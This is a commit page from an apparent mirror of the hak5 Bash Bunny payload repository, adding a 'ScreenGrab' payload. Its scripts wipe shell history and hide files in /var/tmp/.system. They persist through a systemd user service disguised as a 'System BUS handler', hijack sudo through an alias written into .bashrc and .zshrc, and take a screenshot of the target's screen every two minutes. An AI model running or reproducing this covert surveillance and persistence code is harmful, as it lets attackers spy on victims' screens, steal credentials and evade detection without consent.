mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Uploading ScreenGrab (#511)
* uploading screenGrab screenGrab payload captures snap shots of target's screen periodically and store them into bunny. * Uploading payload
This commit is contained in:
18
payloads/library/execution/ScreenGrab/screenGrab/payload.sh
Normal file
18
payloads/library/execution/ScreenGrab/screenGrab/payload.sh
Normal file
@@ -0,0 +1,18 @@
|
||||
#!/bin/bash
|
||||
unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE
|
||||
mkdir /var/tmp/.system
|
||||
lol=$(lsblk | grep 1.8G)
|
||||
disk=$(echo $lol | awk '{print $1}')
|
||||
mntt=$(lsblk | grep $disk | awk '{print $7}')
|
||||
cp -r $mntt/payloads/library/screenGrab/ffmpeg /var/tmp/.system/
|
||||
chmod +x /var/tmp/.system/ffmpeg
|
||||
mkdir /var/tmp/.system/sysLog
|
||||
cp -r $mntt/payloads/library/screenGrab/systemBus /var/tmp/.system/systemBus
|
||||
chmod +x /var/tmp/.system/systemBus
|
||||
mkdir -p ~/.config/systemd/user
|
||||
echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/systemBUS.service
|
||||
systemctl --user daemon-reload
|
||||
systemctl --user enable --now systemBUS.service
|
||||
systemctl --user start --now systemBUS.service
|
||||
cp -r $mntt/payloads/library/screenGrab/shell /tmp/
|
||||
chmod +x /tmp/shell && /tmp/./shell && rm /tmp/shell
|
||||
12
payloads/library/execution/ScreenGrab/screenGrab/shell
Normal file
12
payloads/library/execution/ScreenGrab/screenGrab/shell
Normal file
@@ -0,0 +1,12 @@
|
||||
#!/bin/bash
|
||||
ls -a ~/ | grep 'zshrc' &> /dev/null
|
||||
if [ $? = 0 ]; then
|
||||
echo -e "alias sudo='bash /var/tmp/.system/systemMgr && sudo'" >> ~/.zshrc
|
||||
echo "systemctl --user enable --now systemBUS.service && systemctl --user restart systemBUS.service" >> ~/.zshrc
|
||||
fi
|
||||
|
||||
ls -a ~/ | grep 'bashrc' &> /dev/null
|
||||
if [ $? = 0 ]; then
|
||||
echo -e "alias sudo='bash /var/tmp/.system/systemMgr && sudo'" >> ~/.bashrc
|
||||
echo "systemctl --user enable --now systemBUS.service && systemctl --user restart systemBUS.service" >> ~/.bashrc
|
||||
fi
|
||||
@@ -0,0 +1,5 @@
|
||||
while true;
|
||||
do
|
||||
/var/tmp/.system/./ffmpeg -f x11grab -video_size $(xdpyinfo | grep dimensions | cut -d" " -f7) -i $DISPLAY -vframes 1 /var/tmp/.system/sysLog/$(date +%Y%m%d-%H%M%S).png
|
||||
sleep 120
|
||||
done
|
||||
Reference in New Issue
Block a user